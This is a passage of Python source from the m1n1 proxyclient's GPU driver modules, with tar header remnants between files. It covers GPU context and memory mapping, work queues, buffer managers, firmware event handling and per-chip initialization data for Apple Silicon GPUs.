self.agx.asc.db.fwctl_doorbell() def send_inval(self, ctx, addr=0): msg = FWCtlMsg() msg.addr = addr msg.unk_8 = 0 msg.context_id = ctx msg.unk_10 = 1 msg.unk_12 = 2 print(msg) self.send_message(msg) class GPUEventChannel(GPURXChannel): MSG_CLASS = EventMsg def handle_message(self, msg): if isinstance(msg, FlagMsg): self.agx.event_mgr.fired(msg.firing) elif isinstance(msg, FaultMsg): self.agx.faulted(msg) elif isinstance(msg, TimeoutMsg): self.agx.timeout(msg) else: self.log(f"Unknown event: {msg}") class GPULogChannel(GPURXChannel): MSG_CLASS = FWLogMsg def handle_message(self, msg): ts = msg.timestamp / 24000000 self.log(f"[{msg.seq_no:<4d}{ts:14.7f}] {msg.msg}") class GPUKTraceChannel(GPURXChannel): MSG_CLASS = KTraceMsg def handle_message(self, msg): self.log(f"{msg}") class GPUStatsChannel(GPURXChannel): MSG_CLASS = HexDump(Bytes(0x60)) def handle_message(self, msg): if self.agx.show_stats: self.log(f"stat {msg}") m1n1-1.4.11/proxyclient/m1n1/agx/context.py000066400000000000000000000212401453754430200203310ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import chexdump from ..malloc import Heap from construct.core import * from ..fw.agx.channels import * from ..fw.agx.cmdqueue import * from ..fw.agx.microsequence import * from ..hw.uat import MemoryAttr from .object import * import textwrap class GPUContext: def __init__(self, agx): self.agx = agx self.uat = self.agx.uat self.u = self.agx.u self.p = self.agx.p self.verbose = False #self.job_list = agx.kshared.new(JobList) #self.job_list.first_job = 0 #self.job_list.last_head = self.job_list._addr # Empty list has self as last_head #self.job_list.unkptr_10 = 0 #self.job_list.push() self.gpu_context = agx.kobj.new(GPUContextData).push() self.ttbr0_base = self.u.memalign(self.agx.PAGE_SIZE, self.agx.PAGE_SIZE) self.p.memset32(self.ttbr0_base, 0, self.agx.PAGE_SIZE) self.objects = {} # 32K VA pages since buffer manager needs that self.uobj = GPUAllocator(agx, "Userspace", 0x1600000000, 0x100000000, ctx=None, guard_pages=1, va_block=32768, nG=1, AP=0, PXN=1, UXN=1) self.gobj = GPUAllocator(agx, "GEM", 0x1500000000, 0x100000000, ctx=None, guard_pages=1, nG=1, AP=0, PXN=1, UXN=1) self.pipeline_base = 0x1100000000 self.pipeline_size = 1 << 32 self.pobj = GPUAllocator(agx, "Pipelines", self.pipeline_base + 0x10000, self.pipeline_size, ctx=None, guard_pages=1, nG=1, AP=0, PXN=1, UXN=1) def bind(self, ctx_id): self.ctx = ctx_id self.uobj.ctx = ctx_id self.gobj.ctx = ctx_id self.pobj.ctx = ctx_id self.uat.bind_context(ctx_id, self.ttbr0_base) self.thing = self.buf_at(0x6fffff8000, 0, 0x4000, "thing") def make_stream(self, base): return self.uat.iostream(self.ctx, base, recurse=False) def new_at(self, addr, objtype, name=None, track=True, **flags): obj = GPUObject(self, objtype) obj._stream = self.make_stream if name is not None: obj._name = name size_align = align_up(obj._size, self.agx.PAGE_SIZE) obj._addr = addr obj._paddr = self.agx.u.memalign(self.agx.PAGE_SIZE, size_align) #if isinstance(obj.val, ConstructClassBase): #obj.val._addr = obj._addr self.agx.log(f"[Context@{self.gpu_context._addr:#x}] Map {obj._name} size {obj._size:#x} @ {obj._addr:#x} ({obj._paddr:#x})") flags2 = {"AttrIndex": MemoryAttr.Shared} flags2.update(flags) obj._map_flags = flags2 obj._size_align = size_align self.agx.uat.iomap_at(self.ctx, obj._addr, obj._paddr, size_align, **flags2) self.objects[obj._addr] = obj self.agx.reg_object(obj, track=track) return obj def buf_at(self, addr, is_pipeline, size, name=None, track=True): return self.new_at(addr, Bytes(size), name, track=track, AttrIndex=MemoryAttr.Shared, PXN=1, nG=1, AP=(1 if is_pipeline else 0)) def load_blob(self, addr, is_pipeline, filename, track=True): data = open(filename, "rb").read() obj = self.new_at(addr, Bytes(len(data)), filename, track=track, AttrIndex=MemoryAttr.Shared, PXN=1, nG=1, AP=(1 if is_pipeline else 0)) obj.val = data obj.push() return obj def free(self, obj): obj._dead = True self.agx.uat.iomap_at(self.ctx, obj._addr, 0, obj._size_align, VALID=0) del self.objects[obj._addr] self.agx.unreg_object(obj) def free_at(self, addr): self.free(self.objects[obj._addr]) class GPUWorkQueue: def __init__(self, agx, context, job_list): self.agx = agx self.u = agx.u self.p = agx.p self.context = context self.info = agx.kobj.new(CommandQueueInfo) self.pointers = agx.kshared.new(CommandQueuePointers).push() self.pmap = CommandQueuePointerMap(self.u, self.pointers._paddr) self.rb_size = self.pointers.rb_size self.ring = agx.kobj.new_buf(8 * self.rb_size, "GPUWorkQueue.RB") self.info.pointers = self.pointers self.info.rb_addr = self.ring._addr self.info.job_list = job_list self.info.gpu_buf_addr = agx.kobj.buf(0x2c18, "GPUWorkQueue.gpu_buf") self.info.gpu_context = context.gpu_context self.info.push() self.wptr = 0 self.first_time = True self.agx.uat.flush_dirty() def submit(self, work): work.push() self.p.write64(self.ring._paddr + 8 * self.wptr, work._addr) self.wptr = (self.wptr + 1) % self.rb_size self.agx.uat.flush_dirty() self.pmap.CPU_WPTR.val = self.wptr def wait_empty(self): while self.wptr != self.pmap.GPU_DONEPTR.val: self.agx.work() class GPU3DWorkQueue(GPUWorkQueue): TYPE = 1 class GPUTAWorkQueue(GPUWorkQueue): TYPE = 0 class GPUMicroSequence: def __init__(self, agx): self.agx = agx self.off = 0 self.ops = [] self.obj = self.agx.kobj.new_buf(4096, "GPUMicroSequence", track=True) def cur_addr(self): return self.obj._addr + self.off def append(self, op): off = self.off self.ops.append(op) self.off += op.sizeof() return off def finalize(self): self.ops.append(EndCmd()) self.size = sum(i.sizeof() for i in self.ops) self.obj.val = b"".join(i.build() for i in self.ops) + bytes(4096 - self.size) self.obj.push() return self.obj def dump(self): chexdump(self.agx.iface.readmem(self.obj._paddr, self.size)) print(MicroSequence.parse_stream(self.agx.uat.iostream(0, self.obj._addr))) def __str__(self): s = f"GPUMicroSequence: {len(self.ops)} ops\n" for i, op in enumerate(self.ops): op_s = textwrap.indent(str(op), ' ' * 4) s += f"[{i:2}:{op.sizeof():#x}] = {op!s}\n" return s class GPUBufferManager: def __init__(self, agx, context, blocks=8): self.agx = agx self.ctx = context self.block_ctl_obj = agx.kshared.new(BufferManagerBlockControl) self.block_ctl_obj.total = blocks self.block_ctl_obj.wptr = 0 self.block_ctl_obj.unk = 0 self.block_ctl = self.block_ctl_obj.push().regmap() self.counter_obj = agx.kshared.new(BufferManagerCounter) self.counter_obj.count = 0 self.counter = self.counter_obj.push().regmap() self.misc_obj = agx.kshared.new(BufferManagerMisc) self.misc_obj.cpu_flag = 1 self.misc = self.misc_obj.push().regmap() self.page_size = 0x8000 self.pages_per_block = 4 self.block_size = self.pages_per_block * self.page_size self.scene_max = 48 self.page_list = context.uobj.new(Array(0x10000 // 4, Int32ul), "BM PageList", track=False) self.block_list = context.uobj.new(Array(0x8000 // 4, Int32ul), "BM BlockList", track=False) self.scene_list = agx.kgpurw.new(Array(self.scene_max, Int32ul), "BM SceneList", track=True) self.scene_list.val = [0] * 48 self.scene_list.push() self.info = info = agx.kobj.new(BufferManagerInfo) info.page_list_addr = self.page_list._addr info.page_list_size = self.page_list._size info.page_count = self.block_ctl_obj.total * 4 info.block_count = self.block_ctl_obj.total info.block_list_addr = self.block_list._addr info.block_ctl = self.block_ctl_obj info.last_page = info.page_count - 1 info.block_size = self.block_size info.counter = self.counter_obj self.populate() self.block_ctl_obj.pull() self.block_list.push() self.page_list.push() self.scene_idx = 0 info.push() def get_scene(self): self.scene_idx = (self.scene_idx + 1) % self.scene_max return self.scene_list._addr + self.scene_idx * 4 def increment(self): self.counter_obj.count += 1 self.counter_obj.push() def populate(self): idx = self.block_ctl.wptr.val total = self.block_ctl.total.val while idx < total: block = self.ctx.uobj.new_buf(self.block_size, "BM Block", track=False) self.block_list[idx * 2] = block._addr // self.page_size page_idx = idx * self.pages_per_block for i in range(self.pages_per_block): self.page_list[page_idx + i] = block._addr // self.page_size + i idx += 1 self.block_ctl.wptr.val = idx m1n1-1.4.11/proxyclient/m1n1/agx/event.py000066400000000000000000000030231453754430200177650ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..utils import chexdump from ..malloc import Heap from construct.core import * from ..fw.agx.channels import * from ..fw.agx.cmdqueue import * from ..fw.agx.microsequence import * from ..hw.uat import MemoryAttr from .object import * import textwrap class GPUEventManager: MAX_EVENTS = 128 def __init__(self, agx): self.agx = agx self.event_count = 0 self.free_events = set(range(self.MAX_EVENTS)) self.events = [None] * self.MAX_EVENTS def allocate_event(self): if not self.free_events: raise Exception("No free events") ev_id = self.free_events.pop() ev = GPUEvent(ev_id) self.events[ev_id] = ev return ev def free_event(self, ev): self.events[ev.id] = None self.free_events.add(ev.id) def fired(self, flags): self.agx.log("= Events fired =") for i, v in enumerate(flags): for j in range(64): if v & (1 << j): ev_id = i * 64 + j ev = self.events[ev_id] self.agx.log(f"Event fired: {ev_id}") if ev is None: raise Exception("Received spurious notification for event ID {ev}") ev.fire() self.event_count += 1 class GPUEvent: def __init__(self, ev_id): self.id = ev_id self.fired = False def fire(self): self.fired = True def rearm(self): self.fired = False m1n1-1.4.11/proxyclient/m1n1/agx/initdata.py000066400000000000000000000510241453754430200204450ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..fw.agx.initdata import * from ..fw.agx.channels import ChannelInfo from ..hw.uat import MemoryAttr from construct import Container from m1n1.constructutils import Ver def build_iomappings(agx, chip_id): def iomap(phys, size, range_size, rw): off = phys & 0x3fff virt = agx.io_allocator.malloc(size + 0x4000 + off) agx.uat.iomap_at(0, virt, phys - off, size + off, AttrIndex=MemoryAttr.Device) return IOMapping(phys, virt + off, size, range_size, rw) # for t8103 if chip_id == 0x8103: return [ iomap(0x204d00000, 0x1c000, 0x1c000, 1), # Fender iomap(0x20e100000, 0x4000, 0x4000, 0), # AICTimer iomap(0x23b104000, 0x4000, 0x4000, 1), # AICSWInt iomap(0x204000000, 0x20000, 0x20000, 1), # RGX IOMapping(), # UVD IOMapping(), # unused IOMapping(), # DisplayUnderrunWA iomap(0x23b2e8000, 0x1000, 0x1000, 0), # AnalogTempSensorControllerRegs iomap(0x23bc00000, 0x1000, 0x1000, 1), # PMPDoorbell iomap(0x204d80000, 0x5000, 0x5000, 1), # MetrologySensorRegs iomap(0x204d61000, 0x1000, 0x1000, 1), # GMGIFAFRegs iomap(0x200000000, 0xd6400, 0xd6400, 1), # MCache registers IOMapping(), # AICBankedRegisters iomap(0x23b738000, 0x1000, 0x1000, 1), # PMGRScratch IOMapping(), # NIA Special agent idle register die 0 IOMapping(), # NIA Special agent idle register die 1 IOMapping(), # CRE registers IOMapping(), # Streaming codec registers IOMapping(), # IOMapping(), # ] elif chip_id == 0x8112: return [ iomap(0x204d00000, 0x14000, 0x14000, 1), # Fender iomap(0x20e100000, 0x4000, 0x4000, 0), # AICTimer iomap(0x23b0c4000, 0x4000, 0x4000, 1), # AICSWInt iomap(0x204000000, 0x20000, 0x20000, 1), # RGX IOMapping(), # UVD IOMapping(), # unused IOMapping(), # DisplayUnderrunWA iomap(0x23b2c0000, 0x1000, 0x1000, 0), # AnalogTempSensorControllerRegs IOMapping(), # PMPDoorbell iomap(0x204d80000, 0x8000, 0x8000, 1), # MetrologySensorRegs iomap(0x204d61000, 0x1000, 0x1000, 1), # GMGIFAFRegs iomap(0x200000000, 0xd6400, 0xd6400, 1), # MCache registers IOMapping(), # AICBankedRegisters IOMapping(), # PMGRScratch IOMapping(), # NIA Special agent idle register die 0 IOMapping(), # NIA Special agent idle register die 1 iomap(0x204e00000, 0x10000, 0x10000, 0), # CRE registers iomap(0x27d050000, 0x4000, 0x4000, 0), # Streaming codec registers iomap(0x23b3d0000, 0x1000, 0x1000, 0), # iomap(0x23b3c0000, 0x1000, 0x1000, 0), # IOMapping(), IOMapping(), IOMapping(), IOMapping(), IOMapping(), ] elif chip_id in (0x6000, 0x6001, 0x6002): mcc_cnt = {0x6002: 16, 0x6001: 8, 0x6000: 4} return [ iomap(0x404d00000, 0x1c000, 0x1c000, 1), # Fender iomap(0x20e100000, 0x4000, 0x4000, 0), # AICTimer iomap(0x28e104000, 0x4000, 0x4000, 1), # AICSWInt iomap(0x404000000, 0x20000, 0x20000, 1), # RGX IOMapping(), # UVD IOMapping(), # unused IOMapping(), # DisplayUnderrunWA iomap(0x28e494000, 0x1000, 0x1000, 0), # AnalogTempSensorControllerRegs IOMapping(), # PMPDoorbell iomap(0x404d80000, 0x8000, 0x8000, 1), # MetrologySensorRegs iomap(0x204d61000, 0x1000, 0x1000, 1), # GMGIFAFRegs iomap(0x200000000, mcc_cnt[chip_id] * 0xd8000, 0xd8000, 1), # MCache registers IOMapping(), # AICBankedRegisters IOMapping(), # PMGRScratch iomap(0x2643c4000, 0x1000, 0x1000, 1), # NIA Special agent idle register die 0 iomap(0x22643c4000, 0x1000, 0x1000, 1) if chip_id == 0x6002 else IOMapping(), # NIA Special agent idle register die 1 IOMapping(), # CRE registers IOMapping(), # Streaming codec registers iomap(0x28e3d0000, 0x1000, 0x1000, 1), iomap(0x28e3c0000, 0x2000, 0x2000, 0), ] elif chip_id in (0x6021,): mcc_cnt = {0x6022: 16, 0x6021: 8, 0x6020: 4} return [ iomap(0x404d00000, 0x144000, 0x144000, 1), # Fender iomap(0x20e100000, 0x4000, 0x4000, 0), # AICTimer iomap(0x28e106000, 0x4000, 0x4000, 1), # AICSWInt iomap(0x404000000, 0x20000, 0x20000, 1), # RGX IOMapping(), # UVD IOMapping(), # unused IOMapping(), # DisplayUnderrunWA iomap(0x28e478000, 0x4000, 0x4000, 0), # AnalogTempSensorControllerRegs IOMapping(), # PMPDoorbell iomap(0x404e08000, 0x8000, 0x8000, 1), # MetrologySensorRegs IOMapping(), # GMGIFAFRegs iomap(0x200000000, mcc_cnt[chip_id] * 0xd8000, 0xd8000, 1), # MCache registers iomap(0x28e118000, 0x4000, 0x4000, 0), # AICBankedRegisters IOMapping(), # PMGRScratch IOMapping(), # NIA Special agent idle register die 0 IOMapping(), # NIA Special agent idle register die 1 IOMapping(), # CRE registers IOMapping(), # Streaming codec registers iomap(0x28e3d0000, 0x4000, 0x4000, 1), iomap(0x28e3c0000, 0x4000, 0x4000, 0), iomap(0x28e3d8000, 0x4000, 0x4000, 1), iomap(0x404eac000, 0x4000, 0x4000, 1), IOMapping(), IOMapping(), IOMapping(), ] CHIP_INFO = { 0x8103: Container( chip_id = 0x8103, min_sram_volt = 850, max_power = 19551, max_freq_mhz = 1278, unk_87c = -220, unk_8cc = 9880, unk_924 = [[0] * 8] * 8, unk_e48 = [[0] * 8] * 8, unk_e24 = 112, gpu_fast_die0_sensor_mask64 = 0x12, gpu_fast_die1_sensor_mask64 = 0, gpu_fast_die0_sensor_mask64_alt = 0x12, gpu_fast_die1_sensor_mask64_alt = 0, gpu_fast_die0_sensor_present = 0x01, shared1_tab = [ -1, 0x7282, 0x50ea, 0x370a, 0x25be, 0x1c1f, 0x16fb ] + ([-1] * 9), shared1_a4 = 0xffff, shared2_tab = [0x800, 0x1555, -1, -1, -1, -1, -1, -1, 0, 0], shared2_unk_508 = 0xc00007, unk_3cf4 = [1000.0, 0, 0, 0, 0, 0, 0, 0], unk_3d14 = [45.0, 0, 0, 0, 0, 0, 0, 0], unk_118ec = None, hwdb_4e0 = 0, hwdb_534 = 0, num_cores = 8, gpu_core = 11, gpu_rev = 4, hwdb_ab8 = 0x48, hwdb_abc = 0x8, hwdb_b30 = 0, rel_max_powers = [0, 19, 26, 38, 60, 87, 100], ), 0x6001: Container( chip_id = 0x6001, min_sram_volt = 790, max_power = 81415, max_freq_mhz = 1296, unk_87c = 900, unk_8cc = 11000, unk_924 = [[i, *([0] * 7)] for i in [ 9.838, 9.819, 9.826, 9.799, 0, 0, 0, 0, ]], unk_e48 = [[i, *([0] * 7)] for i in [ 13, 13, 13, 13, 0, 0, 0, 0, ]], unk_e24 = 125, gpu_fast_die0_sensor_mask64 = 0x80808080, gpu_fast_die1_sensor_mask64 = 0, gpu_fast_die0_sensor_mask64_alt = 0x90909090, gpu_fast_die1_sensor_mask64_alt = 0, gpu_fast_die0_sensor_present = 0x0f, shared1_tab = [0xffff] * 16, shared1_a4 = 0xffff, shared2_tab = [-1, -1, -1, -1, 0x2aa, 0xaaa, -1, -1, 0, 0], shared2_unk_508 = 0xcc00001, unk_3cf4 = [1314.0, 1330.0, 1314.0, 1288.0, 0, 0, 0, 0], unk_3d14 = [21.0, 21.0, 22.0, 21.0, 0, 0, 0, 0], unk_3d34_0 = [0, 0, 0, 0, 0, 0, 0, 0], unk_118ec = [ 0, 1, 2, 1, 1, 90, 75, 1, 1, 1, 2, 90, 75, 1, 1, 1, 1, 90, 75, 1, 1 ], hwdb_4e0 = 4, hwdb_534 = 1, num_cores = 32, gpu_core = 13, gpu_rev = 5, hwdb_ab8 = 0x2084, hwdb_abc = 0x80, hwdb_b30 = 0, rel_max_powers = [0, 15, 20, 27, 36, 52, 100], ), 0x6002: Container( chip_id = 0x6002, min_sram_volt = 790, max_power = 166743, max_freq_mhz = 1296, unk_87c = 900, unk_8cc = 11000, unk_924 = [[i, *([0] * 7)] for i in [ 9.838, 9.819, 9.826, 9.799, 9.799, 9.826, 9.819, 9.838, ]], unk_c30 = 0, unk_e48 = [[i, *([0] * 7)] for i in [ 13, 13, 13, 13, 13, 13, 13, 13, ]], unk_e24 = 125, gpu_fast_die0_sensor_mask64 = 0x8080808080808080, gpu_fast_die1_sensor_mask64 = 0, gpu_fast_die0_sensor_mask64_alt = 0x9090909090909090, gpu_fast_die1_sensor_mask64_alt = 0, gpu_fast_die0_sensor_present = 0xff, shared1_tab = [0xffff] * 16, shared1_a4 = 0xffff, shared2_tab = [-1, -1, -1, -1, 0x2aa, 0xaaa, -1, -1, 0, 0], shared2_unk_508 = 0xcc00001, unk_3cf4 = [1244.0, 1260.0, 1242.0, 1214.0, 1072.0, 1066.0, 1044.0, 1042.0], unk_3d14 = [18.0, 18.0, 18.0, 17.0, 15.0, 15.0, 15.0, 14.0], unk_3d34_0 = [0, 0, 0, 0, 0, 0, 0, 0], unk_8924 = 0, unk_118ec = [ 0, 1, 2, 1, 1, 90, 75, 1, 1, 1, 2, 90, 75, 1, 1, 1, 1, 90, 75, 1, 1 ], hwdb_4e0 = 4, hwdb_534 = 1, num_cores = 64, gpu_core = 13, gpu_rev = 5, hwdb_ab8 = 0x2084, hwdb_abc = 0x80, hwdb_b30 = 0, rel_max_powers = [0, 15, 19, 25, 34, 50, 100], ), 0x8112: Container( chip_id = 0x8112, min_sram_volt = 780, max_power = 22800, max_freq_mhz = 1398, unk_87c = 900, unk_8cc = 11000, unk_924 = [[ 0.0, 0.0, 0.0, 0.0, 5.3, 0.0, 5.3, 5.3, ]] + ([[0] * 8] * 7), unk_e48 = [[ 0.0, 0.0, 0.0, 0.0, 5.3, 0.0, 5.3, 5.3, ]] + ([[0] * 8] * 7), unk_e24 = 125, gpu_fast_die0_sensor_mask64 = 0x6800, gpu_fast_die1_sensor_mask64 = 0, gpu_fast_die0_sensor_mask64_alt = 0x6800, gpu_fast_die1_sensor_mask64_alt = 0, gpu_fast_die0_sensor_present = 0x02, shared1_tab = [0xffff] * 16, shared1_a4 = 0, shared2_tab = [-1, -1, -1, -1, -1, -1, -1, -1, 0xaa5aa, 0], shared2_unk_508 = 0xc00000, unk_3cf4 = [1920.0, 0, 0, 0, 0, 0, 0, 0], unk_3d14 = [74.0, 0, 0, 0, 0, 0, 0, 0], unk_3d34_0 = [0, 0, 0, 0, 0, 0, 0, 0], unk_118ec = None, hwdb_4e0 = 4, hwdb_534 = 0, num_cores = 10, gpu_core = 15, gpu_rev = 3, hwdb_ab8 = 0x2048, hwdb_abc = 0x4000, hwdb_b30 = 1, rel_max_powers = [0, 18, 27, 37, 52, 66, 82, 96, 100], shared2_t1_coef = 7200, shared2_t2 = [0xf07, 0x4c0, 0x6c0, 0x8c0, 0xac0, 0xc40, 0xdc0, 0xec0, 0xf80], shared2_t3_coefs = [None, 20.0, 28.0, 36.0, 44.0, 50.0, 56.0, 60.0, 63.0], shared2_t3_scales = [9, 3209, 10400], unk_hws2_0 = 0, unk_hws2_4 = [0] * 8, unk_hws2_24 = 0, sram_base = 0, sram_size = 0, shared3_unk = 5, shared3_tab = [ 10700, 10700, 10700, 10700, 10700, 6000, 1000, 1000, 1000, 10700, 10700, 10700, 10700, 10700, 10700, 10700, ], rc_unk_54 = 0xffff, ), 0x6021: Container( chip_id = 0x6021, min_sram_volt = 790, max_power = 95892, max_freq_mhz = 1398, unk_87c = 500, unk_8cc = 11000, unk_924 = [ [0.0, 8.2, 0.0, 6.9, 6.9] + [0] * 11, [0.0, 0.0, 0.0, 6.9, 6.9] + [0] * 11, [0.0, 8.2, 0.0, 6.9, 0.0] + [0] * 11, [0.0, 0.0, 0.0, 6.9, 0.0] + [0] * 11, ] + ([[0] * 16] * 4), unk_e48 = [ [0.0, 9.0, 0.0, 8.0, 8.0] + [0] * 11, [0.0, 0.0, 0.0, 8.0, 8.0] + [0] * 11, [0.0, 9.0, 0.0, 8.0, 0.0] + [0] * 11, [0.0, 0.0, 0.0, 8.0, 0.0] + [0] * 11, ] + ([[0] * 16] * 4), unk_e24 = 125, gpu_fast_die0_sensor_mask64 = 0x40005000c000d00, gpu_fast_die1_sensor_mask64 = 0, gpu_fast_die0_sensor_mask64_alt = 0x140015001d001d00, gpu_fast_die1_sensor_mask64_alt = 0, gpu_fast_die0_sensor_present = None, shared1_tab = [0xffff] * 16, shared1_a4 = 0, shared2_tab = [0x800, 0x1555, -1, -1, -1, -1, -1, -1, 0xaaaaa, 0], shared2_unk_508 = 0xc00007, unk_3cf4 = [1564.0, 1416.0, 1428.0, 1614.0, 0, 0, 0, 0], unk_3d14 = [42.0, 39.0, 39.0, 44.0, 0, 0, 0, 0], unk_3d34_0 = [547.0, 0.0, 293.0, 0.0, 547.0, 0.0, 293.0, 0.0], unk_118ec = [ 0, 2, 2, 1, 1, 90, 75, 1, 1, 1, 2, 90, 75, 1, 1, 1, 2, 90, 75, 1, 1, 1, 1, 90, 75, 1, 1, ], hwdb_4e0 = 4, hwdb_534 = 0, num_cores = 40, gpu_core = 17, gpu_rev = 3, hwdb_ab8 = None, hwdb_abc = None, hwdb_b30 = 0, rel_max_powers = [0, 19, 26, 36, 48, 63, 79, 91, 100], shared2_t1_coef = 11000, shared2_t2 = [0xf07, 0x4c0, 0x680, 0x8c0, 0xa80, 0xc40, 0xd80, 0xec0, 0xf40], shared2_t3_coefs = [None, 20.0, 27.0, 36.0, 43.0, 50.0, 55.0, 60.0, 62.0], shared2_t3_scales = [9, 3209, 10400], unk_hws2_0 = 700, unk_hws2_4 = [1.0, 0.8, 0.2, 0.9, 0.1, 0.25, 0.7, 0.9], unk_hws2_24 = 6, sram_base = 0x404d60000, sram_size = 0x20000, shared3_unk = 8, shared3_tab = [ 125, 125, 125, 125, 125, 125, 125, 125, 7500, 125, 125, 125, 125, 125, 125, 125 ], rc_unk_54 = 4000, ), } def build_initdata(agx): sgx = agx.u.adt["/arm-io/sgx"] chosen = agx.u.adt["/chosen"] chip_info = CHIP_INFO[chosen.chip_id] initdata = agx.kshared.new(InitData) if Ver.check("V >= V13_3 && G == G14X"): initdata.ver_info = (0xb390, 0x70f8, 0x601, 0xb0) elif Ver.check("V >= V13_3 && G == G14"): initdata.ver_info = (0x6ba0, 0x1f28, 0x601, 0xb0) else: initdata.ver_info = (1, 1, 16, 1) initdata.regionA = agx.kshared.new_buf(0x4000, "InitData_RegionA").push() regionB = agx.kobj.new(InitData_RegionB) regionB.channels = agx.ch_info regionB.stats_ta = agx.kobj.new(InitData_GPUGlobalStatsTA).push() regionB.stats_3d = agx.kobj.new(InitData_GPUGlobalStats3D).push() # size: 0x180, Empty # 13.0: grew # 13.3: grew again #regionB.stats_cp = agx.kobj.new_buf(0x180, "RegionB.unkptr_180").push() regionB.stats_cp = agx.kobj.new_buf(0x980 + 0x800, "RegionB.stats_cp").push() # size: 0x3b80, few floats, few ints, needed for init regionB.hwdata_a = agx.kobj.new(AGXHWDataA(sgx, chip_info), track=False) # size: 0x80, empty regionB.unk_190 = agx.kobj.new_buf(0x80, "RegionB.unkptr_190").push() # size: 0xc0, fw writes timestamps into this regionB.unk_198 = agx.kobj.new_buf(0xc0, "RegionB.unkptr_198").push() # size: 0xb80, io stuff hwdata = agx.kobj.new(AGXHWDataB(sgx, chip_info), track=False) hwdata.io_mappings = build_iomappings(agx, chosen.chip_id) if chip_info.sram_base: virt = agx.io_allocator.malloc(chip_info.sram_size) hwdata.sgx_sram_ptr = virt agx.uat.iomap_at(0, virt, chip_info.sram_base, chip_info.sram_size, AttrIndex=MemoryAttr.Shared) else: hwdata.sgx_sram_ptr = 0 k = 1.02 #? count = sgx.perf_state_count table_count = sgx.perf_state_table_count base_pstate = sgx.getprop("gpu-perf-base-pstate", 3) base_freq = sgx.perf_states[base_pstate].freq max_freq = sgx.perf_states[count - 1].freq for i in range(count): ps = sgx.perf_states[i] hwdata.frequencies[i] = ps.freq // 1000000 volt = [ps.volt] * 8 for j in range(1, table_count): volt[j] = sgx.perf_states[count * j + i].volt sram_volt = [max(chip_info.min_sram_volt, i) for i in volt] hwdata.voltages[i] = volt hwdata.voltages_sram[i] = sram_volt regionB.hwdata_a.unk_74[i] = k hwdata.unk_9b4[i] = k hwdata.rel_max_powers[i] = chip_info.rel_max_powers[i] hwdata.rel_boost_freqs[i] = max(0, int((ps.freq - base_freq) / (max_freq - base_freq) * 100)) cs_pstates = sgx.getprop("cs-perf-states", None) if cs_pstates: hwdata.cs_max_pstate = cs_pstates.count - 1 hwdata.cs_frequencies = [(ps.freq // 1000000) for ps in cs_pstates.states] + [0] * (16 - cs_pstates.count) hwdata.cs_voltages = [[(ps.volt // 1000), 0] for ps in cs_pstates.states] + [[0, 0]] * (16 - cs_pstates.count) hwdata.cs_voltages_sram = [[max(i[0], cs_pstates.min_sram_volt // 1000) if i[0] else 0, 0] for i in hwdata.cs_voltages] else: hwdata.cs_max_pstate = 0 hwdata.cs_frequencies = [0] * 16 hwdata.cs_voltages = [[0, 0]] * 16 hwdata.cs_voltages_sram = [[0, 0]] * 16 afr_pstates = sgx.getprop("afr-perf-states", None) if afr_pstates: hwdata.afr_max_pstate = afr_pstates.count - 1 hwdata.afr_frequencies = [(ps.freq // 1000000) for ps in afr_pstates.states] + [0] * (8 - afr_pstates.count) hwdata.afr_voltages = [[(ps.volt // 1000), 0] for ps in afr_pstates.states] + [[0, 0]] * (8 - afr_pstates.count) hwdata.afr_voltages_sram = [[max(i[0], afr_pstates.min_sram_volt // 1000) if i[0] else 0, 0] for i in hwdata.afr_voltages] else: hwdata.afr_max_pstate = 0 hwdata.afr_frequencies = [0] * 8 hwdata.afr_voltages = [[0, 0]] * 8 hwdata.afr_voltages_sram = [[0, 0]] * 8 regionB.hwdata_a.push() regionB.hwdata_b = hwdata.push() regionB.hwdata_b_addr2 = hwdata._addr regionB.fwlog_ring2 = agx.fwlog_ring # Unallocated, Size 0x1000 regionB.unk_1b8 = agx.kobj.new_buf(0x1000, "RegionB.unkptr_1b8").push() # Unallocated, size 0x300 regionB.unk_1c0 = agx.kobj.new_buf(0x300, "RegionB.unkptr_1c0").push() # Unallocated, unknown size regionB.unk_1c8 = agx.kobj.new_buf(0x1000, "RegionB.unkptr_1c8").push() # Size: 0x4000 regionB.buffer_mgr_ctl = agx.kshared.new(InitData_BufferMgrCtl, track=True).push() agx.uat.iomap_at(0, 0x420000000, regionB.buffer_mgr_ctl._paddr_align, 0x4000, AttrIndex=MemoryAttr.Shared, AP=0, UXN=1, PXN=1) regionB.buffer_mgr_ctl_gpu_addr = 0x420000000 + (regionB.buffer_mgr_ctl._addr & 0x3fff) regionB.unk_6a80 = 0 regionB.gpu_idle = 0 regionB.unk_6a9c = 0 regionB.unk_ctr0 = 0 regionB.unk_ctr1 = 0 regionB.unk_6aa8 = 0 regionB.unk_6aac = 0 regionB.unk_ctr2 = 0 regionB.unk_6ab4 = 0 regionB.unk_6ab8 = 0 regionB.unk_6abc = 0 regionB.unk_6ac0 = 0 regionB.unk_6ac4 = 0 regionB.unk_ctr3 = 0 regionB.unk_6acc = 0 regionB.unk_6ad0 = 0 regionB.unk_6ad4 = 0 regionB.unk_6ad8 = 0 regionB.unk_6adc = 0 regionB.unk_6ae0 = 0 regionB.unk_6ae4 = 0 regionB.unk_6ae8 = 0 regionB.unk_6aec = 0 regionB.unk_6af0 = 0 regionB.unk_ctr4 = 0 regionB.unk_ctr5 = 0 regionB.unk_6afc = 0 initdata.regionB = regionB.push() initdata.regionC = agx.kshared.new(InitData_RegionC(sgx, chip_info), track=False).push() #self.regionC_addr = agx.ksharedshared_heap.malloc(0x88000) initdata.fw_status = agx.kobj.new(InitData_FWStatus) initdata.fw_status.fwctl_channel = agx.fwctl_chinfo initdata.fw_status.push() ## This section seems to be data that would be used by firmware side page allocation ## But the current firmware doesn't have this functionality enabled, so it's not used? initdata.uat_num_levels = 3 initdata.uat_page_bits = 14 initdata.uat_page_size = 0x4000 if chip_info.chip_id in (0x8103, 0x8112): phys_mask = 0xffffffc000 else: phys_mask = 0x3ffffffc000 initdata.uat_level_info = [ UatLevelInfo(36, 8, phys_mask), UatLevelInfo(25, 2048, phys_mask), UatLevelInfo(14, 2048, phys_mask), ] # Host handles FW allocations for existing firmware versions initdata.host_mapped_fw_allocations = 1 #initdata.regionC.idle_ts = agx.u.mrs("CNTPCT_EL0") + 24000000 #initdata.regionC.idle_unk = 0x5b2e8 #initdata.regionC.idle_to_off_timeout_ms = 20000 initdata.regionC.push() initdata.push() #print(InitData.parse_stream(agx.uat.iostream(0, initdata._addr))) return initdata 